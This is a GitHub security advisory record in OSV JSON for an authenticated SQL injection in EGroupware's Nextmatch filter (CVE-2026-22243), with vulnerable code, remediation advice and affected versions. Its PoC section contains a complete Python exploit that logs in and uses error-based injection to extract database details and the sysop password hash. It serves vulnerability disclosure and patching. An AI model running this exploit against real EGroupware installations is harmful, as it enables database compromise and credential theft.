{"id":"GHSA-rvxj-7f72-mhrx","summary":"EGroupware has SQL Injection in Nextmatch Filter Processing","details":"### Summary\n**Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing**\n\nA critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the `Nextmatch` filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the `WHERE` clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the `is_int()` security check used by the application.\n\n### Details\n**Root Cause Analysis**\nThe vulnerability exists in how the database abstraction layer (`Api\\Db`) and high-level storage classes (`Api\\Storage\\Base`, `infolog_so`) process the `col_filter` array used in \"Nextmatch\" widgets.\n\nThe application attempts to validate input using `is_int($key)` to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's `json_decode` automatically converts numeric string keys (e.g., `\"0\"`) into native integers.\n\nConsequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (`is_int` returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.\n\n**Vulnerable Code Locations**\n\n1. **File:** `sources/egroupware/api/src/Db.php` (Approx. Line 1776)\n   Method: `column_data_implode`\n\n```php\n// In function column_data_implode\nelseif (is_int($key) && $use_key===True) {\n     if (empty($data)) continue;\n     // VULNERABLE: $data is appended directly to SQL without sanitization\n     $values[] = $data; \n}\n```\n\n2. **File:** `sources/egroupware/api/src/Storage/Base.php` (Approx. Line 1134)\n   Method: `parse_search`\n\n```php\n// In function parse_search\nforeach($criteria as $col =\u003e $val) {\n     // VULNERABLE: is_int() returns true for JSON keys like \"0\"\n     if (is_int($col)) {\n         $query[] = $val; \n     }\n     // ...\n}\n```\n\n### PoC\nThe vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance ([demo.egroupware.net](http://demo.egroupware.net/)).\n\n\n**Automated Exploit Script:**\nThe following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection.\n\n```python\nimport requests\nimport re\nimport sys\nimport urllib3\n\n# Suppress SSL warnings\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# CLI Configuration\nBASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) \u003e 1 else \"http://localhost:8088/egroupware\"\nLOGIN_USER = sys.argv[2] if len(sys.argv) \u003e 2 else \"sysop\"\nLOGIN_PASS = sys.argv[3] if len(sys.argv) \u003e 3 else \"password123\"\n\nsession = requests.Session()\nsession.verify = False\nsession.headers.update({\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\"\n})\n\ndef extract_form_inputs(html):\n    inputs = {}\n    matches = re.findall(r'\u003cinput[^\u003e]+\u003e', html)\n    for match in matches:\n        name_m = re.search(r'name=[\"\\']([^\"\\']+)[\"\\']', match)\n        value_m = re.search(r'value=[\"\\']([^\"\\']*)[\"\\']', match)\n        if name_m:\n            name = name_m.group(1)\n            value = value_m.group(1) if value_m else \"\"\n            inputs[name] = value\n    return inputs\n\ndef login():\n    print(f\"[*] Target: {BASE_URL}\")\n    login_url = f\"{BASE_URL}/login.php\"\n    \n    try:\n        print(\"[*] Retrieving login form...\")\n        r_get = session.get(login_url, timeout=10)\n        \n        data = extract_form_inputs(r_get.text)\n        \n        data.update({\n            \"login\": LOGIN_USER,\n            \"passwd\": LOGIN_PASS,\n            \"submitit\": \"Login\",\n            \"passwd_type\": \"text\"\n        })\n        \n        if 'cancel' in data: del data['cancel']\n\n        print(f\"[*] Attempting login as: {LOGIN_USER}...\")\n        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)\n        \n        if 'name=\"passwd\"' in r_post.text and 'logout.php' not in r_post.text:\n            print(\"[-] Login failed. Server returned login form.\")\n            return False\n            \n        print(\"[+] Login successful.\")\n        return True\n    except Exception as e:\n        print(f\"[-] Critical error during login: {e}\")\n        return False\n\ndef get_exec_id():\n    print(\"[*] Retrieving exec_id...\")\n    url = f\"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index\"\n    try:\n        r = session.get(url, timeout=10)\n        \n        match = re.search(r'etemplate_exec_id(?:&quot;|\"|\\\\\")\\s*:\\s*(?:&quot;|\"|\\\\\")([^&\"\\\\]+)', r.text)\n        \n        if match:\n            eid = match.group(1)\n            print(f\"[+] ID found: {eid}\")\n            return eid\n        else:\n            if 'name=\"passwd\"' in r.text:\n                print(\"[-] Session expired or login failed.\")\n            else:\n                print(\"[-] exec_id pattern not found in source code.\")\n    except Exception as e:\n        print(f\"[-] Error retrieving ID: {e}\")\n    return None\n\ndef run_query(eid, sql):\n    full = \"\"\n    url = f\"{BASE_URL}/json.php?menuaction=EGroupware\\\\Api\\\\Etemplate\\\\Widget\\\\Nextmatch::ajax_get_rows\"\n    \n    print(f\"[*] Executing SQLi: {sql}\")\n    \n    for offset in range(1, 201, 30):\n        chunk_sql = f\"SUBSTRING(({sql}), {offset}, 30)\"\n        payload = f\"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))\"\n        \n        post_data = {\n            \"request\": {\n                \"parameters\": [eid, {\"start\": 0, \"num_rows\": 1}, {\"col_filter\": {\"0\": payload}}]\n            }\n        }\n        \n        try:\n            r = session.post(url, json=post_data, timeout=10)\n            \n            match = re.search(r\"XPATH syntax error: '~(.*)~'\", r.text)\n            if not match:\n                match = re.search(r\"~([^~]+)~\", r.text)\n            \n            if match:\n                chunk = match.group(1)\n                if \"...\" in chunk: chunk = chunk.replace(\"...\", \"\")\n                \n                full += chunk\n                if len(chunk) \u003c 1: break\n            else:\n                break\n                \n        except Exception as e:\n            print(f\"[-] Query error: {e}\")\n            break\n            \n    return full if full else \"NO DATA / ERROR\"\n\nif __name__ == \"__main__\":\n    if login():\n        eid = get_exec_id()\n        if eid:\n            print(\"\\n\" + \"=\"*40)\n            print(\" SQL INJECTION RESULTS \")\n            print(\"=\"*40)\n            print(f\"[+] DB Version: {run_query(eid, 'SELECT @@version')}\")\n            print(f\"[+] DB Name:    {run_query(eid, 'SELECT database()')}\")\n            print(f\"[+] DB User:    {run_query(eid, 'SELECT user()')}\")\n            \n            print(\"\\n[*] Retrieving hash for 'sysop' user (if exists):\")\n            res = run_query(eid, \"SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'\")\n            print(f\" \u003e {res}\")\n            print(\"=\"*40 + \"\\n\")\n```\n\n**Proof of Verification** on [demo.egroupware.net](http://demo.egroupware.net/): \n\nThe script was executed against ther public demo to confirm exploitability in a production-like environment (read-only).\n\u003cimg width=\"773\" height=\"393\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e\" /\u003e\n\n**Impact:**\nAttackers with low-privileged access can fully compromise the database. This allows for:\n* **Confidentiality Loss:** Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets).\n* **Integrity Loss:** Modifying or deleting arbitrary data within the application.\n* **Availability Loss:** Potential to drop tables or corrupt data.\n\n### Remediation\n**1. Input Validation (Whitelisting)**\nDo not rely solely on `is_int()` for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict **whitelist (allowlist)** of allowed column names for filtering in `Nextmatch` widgets. If the key/column is not in the whitelist, reject the request.\n\n**2. Parameter Binding**\nEnsure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.\n\n**3. Strict Type Checking**\nWhen processing JSON input, ensure that keys are strictly checked against expected types (e.g., using `===` for strict comparison or `filter_var`) before being used in SQL generation logic.\n\n\n### Credits\n\nReported by Łukasz Rybak","aliases":["CVE-2026-22243"],"modified":"2026-02-03T03:06:16.983764Z","published":"2026-01-28T20:39:27Z","database_specific":{"cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-01-28T20:39:27Z","nvd_published_at":"2026-01-28T17:16:15Z"},"references":[{"type":"WEB","url":"https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22243"},{"type":"PACKAGE","url":"https://github.com/EGroupware/egroupware"},{"type":"WEB","url":"https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113"},{"type":"WEB","url":"https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113"}],"affected":[{"package":{"name":"egroupware/egroupware","ecosystem":"Packagist","purl":"pkg:composer/egroupware/egroupware"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"23.1.20260113"}]}],"versions":["14.2.20150121","14.2.20150206","14.2.20150210","14.2.20150212","14.2.20150218","14.2.20150310","14.2.20150402","14.2.20150421","14.2.20150428","14.2.20150429","14.2.20150501","14.2.20150603","14.2.20150707","14.2.20150717","14.3.20150728","14.3.20150729","14.3.20150811","14.3.20150821","14.3.20150826","14.3.20150908","14.3.20151012","14.3.20151027","14.3.20151028","14.3.20151029","14.3.20151030","14.3.20151110","14.3.20151130","14.3.20151201","14.3.20160112","14.3.20160113","14.3.20160304","14.3.20160428","14.3.20160512","14.3.20160522","14.3.20160524","14.3.20160525","14.3.20160708","16.1.20160603","16.1.20160621","16.1.20160627","16.1.20160630","16.1.20160708","16.1.20160715","16.1.20160801","16.1.20160810","16.1.20160905","16.1.20161006","16.1.20161102","16.1.20161107","16.1.20161208","16.1.20170118","16.1.20170203","16.1.20170315","16.1.20170415","16.1.20170612","16.1.20170613","16.1.20170703","16.1.20170922","16.1.20171106","16.1.20180116","16.1.20180130","17.1.20171023","17.1.20171106","17.1.20171115","17.1.20171129","17.1.20171130","17.1.20171218","17.1.20180118","17.1.20180130","17.1.20180209","17.1.20180321","17.1.20180413","17.1.20180523","17.1.20180625","17.1.20180720","17.1.20180831","17.1.20181018","17.1.20181204","17.1.20181205","17.1.20190111","17.1.20190214","17.1.20190222","17.1.20190402","17.1.20190529","17.1.20190808","19.1.20190716","19.1.20190717","19.1.20190726","19.1.20190806","19.1.20190813","19.1.20190822","19.1.20190917","19.1.20190925","19.1.20191031","19.1.20191119","19.1.20191220","19.1.20200130","19.1.20200318","19.1.20200409","19.1.20200430","19.1.20200605","19.1.20200701","20.1.20200525","20.1.20200613","20.1.20200628","20.1.20200710","20.1.20200716","20.1.20200728","20.1.20200731","20.1.20200810","20.1.20200812","20.1.20200818","20.1.20200901","20.1.20200914","20.1.20201005","20.1.20201020","20.1.20201028","20.1.20201202","20.1.20201217","20.1.20210125","20.1.20210324","20.1.20210503","21.1.20210318","21.1.20210329","21.1.20210406","21.1.20210420","21.1.20210504","21.1.20210521","21.1.20210629","21.1.20210723","21.1.20210923","21.1.20211130","21.1.20220207","21.1.20220406","21.1.20220408","21.1.20220905","21.1.20220916","21.1.20221202","21.1.20230210","22.1.20220920","23.1.20230110","23.1.20230114","23.1.20230125","23.1.20230210","23.1.20230228","23.1.20230314","23.1.20230328","23.1.20230412","23.1.20230428","23.1.20230503","23.1.20230524","23.1.20230620","23.1.20230726","23.1.20230728","23.1.20230824","23.1.20230911","23.1.20231110","23.1.20231122","23.1.20231129","23.1.20231201","23.1.20231219","23.1.20231220","23.1.20240125","23.1.20240304","23.1.20240430","23.1.20240624","23.1.20240905","23.1.20240930","23.1.20241008","23.1.20241111","23.1.20241128","23.1.20241214","23.1.20250113","23.1.20250307","23.1.20250416","23.1.20250506","23.1.20250715","23.1.20250902","23.1.20251021","23.1.20251119","23.1.20251222","23.1.20260108"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-rvxj-7f72-mhrx/GHSA-rvxj-7f72-mhrx.json"}},{"package":{"name":"egroupware/egroupware","ecosystem":"Packagist","purl":"pkg:composer/egroupware/egroupware"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.0.20251208"},{"fixed":"26.0.20260113"}]}],"versions":["26.0.20251208","26.0.20251216","26.0.20260108"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-rvxj-7f72-mhrx/GHSA-rvxj-7f72-mhrx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}